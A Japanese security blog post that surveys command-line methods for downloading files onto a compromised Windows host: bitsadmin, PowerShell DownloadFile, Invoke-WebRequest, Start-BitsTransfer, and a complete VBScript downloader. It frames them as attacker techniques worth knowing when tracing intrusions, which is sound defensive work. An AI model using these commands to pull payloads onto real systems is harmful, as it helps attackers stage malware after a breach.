Binary Pulsar

技術寄りなセキュリティの話題について書きます

Windows OSのコマンドラインでファイルをダウンロードする手法のまとめ

概要

攻撃者が侵入に成功したWindowsホストで、悪意のあるソフトウェアをダウンロードする場合、何かしらに手法でファイルのダウンロードを命令する必要があります。Internet ExplorerのようなWebブラウザを経由してファイルをダウンロードすることが考えられますが、コマンドラインインターフェースでしか侵入に成功していない場合はそうもいきません。近年のWindowsでは、ファイルのダウンロードに用いることができるコマンドが複数ありますが、古いWindows OSではそういったコマンドが実装されていない場合があります。本記事では、Windows OSで攻撃者が悪用する可能性がある、ファイルダウンロードの手法について解説します。

bitsadmin.exe

Windows 7以後のWindows OSではbitsadmin.exeが標準コマンドとして実装されており、ファイルのダウンロードに用いることができます。以下の書式でcmd.exeまたはPowerShellから実行することで、ファイルをダウンロードすることが可能です。

C:\> bitsadmin /TRANSFER <ジョブ名> /PRIORITY <優先度> <ダウンロードするファイルのURL> <ファイルの保存先>

「ジョブ名」は任意の文字列で問題ありません。「優先度」は高い順からFOREGROUND、HIGH、NORMAL、LOWから選択可能であり、と国指定しない場合はNORMALが設定されます。

PowerShell

Net.WebClientのDownloadFile

PowerShellバージョン2では、ファイルのダウンロードに用いることができるメソッドが、Net.WebClientのDownloadFileメソッドしかありません。以下の書式でメソッドを実行することで、ネットワーク上からファイルをダウンロードできます。

PS C:\> (New-Object Net.WebClient).DownloadFile(<ダウンロードするファイルのURL>, <ファイルの保存先>)

ファイルをダウンロードするものではありませんが、類似するメソッドであるDownloadStringメソッドは、ファイルをダウンロードせずにPowerShellスクリプトを実行するために用いられるため、見たことがある読者は多いでしょう。

wget (Invoke-WebRequest)

PowerShellバージョン3以後では、Invoke-WebRequestがコマンドレットとして実装されています。以下の書式でコマンドレットを実行します。

PS C:\> Invoke-WebRequest -Uri <ダウンロードするファイルのURL> -OutFile <ファイルの保存先>

Invoke-WebRequestはwgetエイリアスされているため、以下のように実行しても同様の結果が得られます。

PS C:\> wget <ダウンロードするファイルのURL> -OutFile <ファイルの保存先>

Start-BitsTransfer

bitsadmin.exeの機能は、Start-BitsTransferコマンドレットとしてPowerShellに実装されているため、ファイルのダウンロードに用いることが可能です。PowerShellバージョン3以後では初期状態で実装されているため、以下のように実行することでネットワーク上のファイルをダウンロードすることが可能です。

PS C:\> Start-BitsTransfer -Source <ダウンロードするファイルのURL> -Destination <ファイルの保存先>

Windows 7PowerShellバージョン2を使用している場合は、初期状態ではStart-BitsTransferコマンドレットが実装されていないため、以下のコマンドレットを実行して明示的にコマンドレットをインポートする必要があります。

PS C:\> Import-Module BitsTransfer

VBScript

Windows XPのような古いWindowsには、ファイルをダウンロードするようなコマンドが実装されていません。しかし、echoコマンドなどでVBScriptを作成し実行することで、ファイルをダウンロードすることが可能です。コマンドラインインターフェースでの侵入にしか成功していない場合は、echoコマンドなどで一行ずつファイルに出力する必要があります。

strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
Err.Clear
Set http = Nothing
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET", strURL, False
http.Send
varByteArray = http.ResponseBody
Set http = Nothing
Set fs = CreateObject("Scripting.FileSystemObject")
Set ts = fs.CreateTextFile(StrFile, True)
strData = ""
strBuffer = ""
For lngCounter = 0 to UBound(varByteArray)
ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1)))
Next
ts.Close

以上のファイルを、例えばwget.vbsとして保存したとします。cscriptコマンドを用いて、wget.vbsを以下の書式で実行することにより、ファイルをダウンロードすることが可能となります。

C:\> cscript wget.vbs <ダウンロードするファイルのURL> <ファイルの保存先>

まとめ

本記事ではWindowsホストへの侵入に成功した攻撃者が、悪意のあるファイルをネットワーク上からダウンロードする手法について解説しました。コマンドラインでも様々な手法によりファイルをダウンロードすることが可能であるため、攻撃の痕跡を追う際に知っておくとよいでしょう。